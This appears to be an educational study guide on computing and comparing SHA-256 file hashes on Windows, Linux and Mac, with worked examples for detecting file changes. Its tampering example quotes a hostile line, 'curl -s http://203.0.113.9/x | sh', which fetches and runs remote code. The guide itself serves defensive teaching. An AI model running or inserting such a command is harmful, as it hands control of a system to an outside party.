---
title: "Verifying a File Hash | FiveStudy"
description: "How to hash a file with Get-FileHash, sha256sum, or shasum, record the digest, and compare later digests to tell whether the file was altered."
url: https://fivestudy.com/guides/ap-cybersecurity-5-6-d-verifying-a-file-hash
---

[AP Cybersecurity](https://fivestudy.com/ap-cybersecurity) · Study guide

# Verifying a File Hash

[Figure: FiveStudy]

FiveStudy

AP® Cybersecurity · Unit 5 · Applications, Data & Cryptography

AP® Cybersecurity · Unit 5 · Applications, Data & Cryptography

# Verifying a File Hash

How to compute a file's SHA-256 hash on Windows, Linux, and Mac, and compare it with an earlier hash to tell whether the file was altered.

1. Why a hash can prove a change 2. The commands 3. Record, re-hash, compare 4. What changes the hash, and what doesn't 5. Worked examples 6. Common mistakes

## 1 Why a hash can prove a change

Cryptographic hash functions are **repeatable**: the same input always produces the same output for a given hash function. So if a file is hashed today and again next week and the two digests match, the contents are the same. If they differ, the file was changed.

## 2 The commands

Hashes can be calculated on the command line, on a website, or with specialized software. For a SHA-256 hash of a file named `testfile`:

| Where | Command | Output begins |
| --- | --- | --- |
| Windows PowerShell | `Get-FileHash testfile -Algorithm SHA256` | `D7F8F2AFC1A783CC08EC0C82FE291C31…` |
| Bash (Linux) | `sha256sum testfile` | `d7f8f2afc1a783cc08ec0c82fe291c31…` |
| zsh (Mac) | `shasum -a 256 testfile` | `d7f8f2afc1a783cc08ec0c82fe291c31…` |

All three give the same digest; PowerShell just prints it in capital letters. Compare digests without regard to letter case.

## 3 Record, re-hash, compare

Hash a file and record the output. Later, hash it again and compare the new output with the recorded one. If the hash changed, the file was altered between the two hashes.

Checking a backup script during one week

```
$ shasum -a 256 testfile          # Monday: record the baseline
d7f8f2afc1a783cc08ec0c82fe291c315a45a2183e1cb69c55799f4cbd554499  testfile
$ shasum -a 256 testfile          # Tuesday
d7f8f2afc1a783cc08ec0c82fe291c315a45a2183e1cb69c55799f4cbd554499  testfile
$ shasum -a 256 testfile          # Friday
338c218562b0159b6e20031c9915607edbde33aebda6b52b4ba7544afc56a963  testfile
```

**Figure 1.** Hash the file, record the digest, and hash it again later. Any difference means the contents changed in between.

Friday's digest is completely different. Opening the file shows why: someone added a last line, `curl -s http://203.0.113.9/x | sh`, which downloads and runs a program from an outside server every night.

## 4 What changes the hash, and what doesn't

| Change to the file | Digest begins | Same as baseline? |
| --- | --- | --- |
| None (baseline) | `d7f8f2afc1a783cc` | This is the original |
| Copied under a new name | `d7f8f2afc1a783cc` | Yes: the name is not part of the contents |
| One extra space added | `d445817e93c94818` | No |
| A line added | `338c218562b0159b` | No |

One extra space changed the digest so completely that only 8 of its 64 characters happen to match the original in the same position. A hash does not show *what* changed or *who* changed it, only *that* something changed.

The key idea

Hash a file (`Get-FileHash`, `sha256sum`, or `shasum -a 256`), record the digest, and hash it again later. Matching digests mean the file is unchanged; different digests mean it was altered in between.

## 5 Worked examples

Worked Example 1 Compare digests

### Did it change?

On March 1 an admin recorded a config file's digest as `d7f8f2afc1a7…`. On March 9 the same command prints `d445817e93c9…`. What can the admin conclude?

1. 1

   SHA-256 is repeatable: unchanged contents give the same digest.

2. 2

   The digests differ.

3. 3

   So the file was altered sometime between March 1 and March 9.

**Answer:** The file was changed between the two hashes; find out what changed and whether it was authorized.

Worked Example 2 Choose the command

### Three computers

Write the command to get the SHA-256 hash of `report.pdf` on (a) a Windows PowerShell prompt, (b) a Linux Bash shell, (c) a Mac terminal.

1. 1

   (a) `Get-FileHash report.pdf -Algorithm SHA256`

2. 2

   (b) `sha256sum report.pdf`

3. 3

   (c) `shasum -a 256 report.pdf`

**Answer:** Each prints the same digest for the same file.

Worked Example 3 Verify a download

### The installer

A software maker's website lists the SHA-256 digest of its installer. After downloading, a student's digest matches except that the website shows capital letters and the terminal shows lowercase. Is the file safe to treat as unaltered?

1. 1

   Letter case does not matter in a hexadecimal digest; `A` and `a` are the same value.

2. 2

   Every character matches, so the digests are equal.

**Answer:** Yes, the file matches what the maker published.

Worked Example 4 Explain a limit

### The renamed file

An attacker renames `payroll.csv` to `payroll_old.csv` without changing its contents. Will a hash check detect this? Explain.

1. 1

   A hash is computed from a file's contents, not its name.

2. 2

   The contents did not change, so the digest is identical.

3. 3

   The rename would show up in access logs, not in a hash comparison.

**Answer:** No. The digest stays the same, because only the name changed.

## 6 Common mistakes

Common Mistake 1 · Comparing only the first few characters

Compare the whole digest. A careful check matches all 64 hexadecimal characters.

Common Mistake 2 · Forgetting the baseline

A single hash proves nothing by itself. You need an earlier, trusted digest to compare with.

Common Mistake 3 · Expecting a hash to show what changed

It only shows that something changed. Compare the file with a known good copy to see what.

Report a hash check like this

“The SHA-256 digest of the backup script recorded on Monday does not match the digest computed on Friday. Because hash functions are repeatable, the script was altered between Monday and Friday, and the change should be investigated.”

Give both digests (or say they differ), the times they were taken, and the conclusion.

FiveStudy AP® Cybersecurity · Verifying a File Hash
